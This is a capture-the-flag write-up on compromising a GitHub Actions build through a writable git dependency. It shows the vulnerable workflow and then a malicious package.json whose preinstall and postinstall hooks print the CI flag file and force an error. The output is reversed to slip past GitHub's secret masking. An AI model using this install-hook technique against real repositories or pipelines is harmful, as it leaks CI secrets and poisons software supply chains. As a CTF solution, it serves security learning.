You have been hired to contribute to a very suspicious project. Follow the link below to get onboard.
We're given access to an organization that looks like this:
Besides the random projects, of note are two repositories:
- The "sus image generator", which contains a GitHub action, and
- The "sus random number generator", which we have write access to.
Notably, the check build workflow does an npm install
,
name: Trigger Build on Comment
on:
issue_comment:
types: [created, edited]
jobs:
check-build:
if: ${{ startsWith(github.event.comment.body, '/run-build') }}
runs-on: ubuntu-latest
steps:
- name: Checkout code
uses: actions/checkout@v2
with:
fetch-depth: 0
- name: Set up SSH
env:
ACTIONS_DEPLOY_KEY: ${{ secrets.DEPENDENCY_DEPLOY_KEY }}
FLAG: ${{ secrets.FLAG }}
run: |
pwd
mkdir -p ~/.ssh
echo "$ACTIONS_DEPLOY_KEY" > ~/.ssh/id_rsa
echo "$FLAG" > ~/flag.txt
chmod 600 ~/.ssh/id_rsa
ssh-keyscan github.com >> ~/.ssh/known_hosts
- name: Install dependencies
run: |
npm install
and the image generator lists the random number generator repo as a dependency in package.json
:
{
"name": "sus-image-generator",
"version": "1.0.0",
"main": "app.js",
"keywords": [],
"author": "paultisaw",
"license": "ISC",
"description": "Yet another sus image generator",
"dependencies": {
"express": "^4.21.1",
"suspicious-random-number-generator": "git+ssh://[email protected]:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git"
}
}
Then, because we have write access to the random number generator repository, we can use npm pre- / post-install scripts to execute malicious code in the GitHub runner.
One last hiccup: when a pre- or post-install script is run, its output is suppressed by NPM, so we can't just echo the flag directly. However, returning an error will cause any prior output to be logged. Testing with a preinstall script of echo test
,
PS C:\Users\kevin\Downloads> npm i git+ssh://[email protected]:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git
added 1 package in 9s
But if we use echo test && exit 1
,
PS C:\Users\kevin\Downloads> npm i git+ssh://[email protected]:VerySusOrganization/suspicious-random-number-generator-repo-ky28059.git
npm ERR! code 1
npm ERR! git dep preparation failed
npm ERR! command C:\Program Files\nodejs\node.exe C:\Program Files\nodejs\node_modules\npm\bin\npm-cli.js install --force --cache=C:\Users\kevin\AppData\Local\npm-cache --prefer-offline=false --prefer-online=false --offline=false --no-progress --no-save --no-audit --include=dev --include=peer --include=optional --no-package-lock-only --no-dry-run
npm ERR! > [email protected] preinstall
npm ERR! > echo test && exit 1
npm ERR!
npm ERR! test
npm ERR! npm WARN using --force Recommended protections disabled.
npm ERR! npm ERR! code 1
npm ERR! npm ERR! path C:\Users\kevin\AppData\Local\npm-cache\_cacache\tmp\git-clonesoPIBC
npm ERR! npm ERR! command failed
npm ERR! npm ERR! command C:\WINDOWS\system32\cmd.exe /d /s /c echo test && exit 1
npm ERR!
npm ERR! npm ERR! A complete log of this run can be found in: C:\Users\kevin\AppData\Local\npm-cache\_logs\2024-12-07T20_36_43_586Z-debug-0.log
npm ERR! A complete log of this run can be found in: C:\Users\kevin\AppData\Local\npm-cache\_logs\2024-12-07T20_36_34_744Z-debug-0.log
Then we have our final payload; in the random number generator repo, we can add a post-install script to cat the flag and error out, printing the output to the GitHub actions console:
{
"name": "suspicious-random-number-generator",
"version": "1.0.1",
"main": "index.js",
"author": "paultisaw",
"description": "Yet another suspicious random number generator",
"scripts": {
"preinstall": "rev ~/flag.txt && exit 1",
"postinstall": "rev ~/flag.txt && exit 1"
}
}
(using rev
here to reverse the string and prevent GitHub from automatically censoring the flag in the action output). Triggering a workflow run, we get the flag:
kevin@ky28059:~$ echo "}suS_yrev_d33Dni_saw_SIhT{LPFE" | rev
EFPL{ThIS_was_inD33d_very_Sus}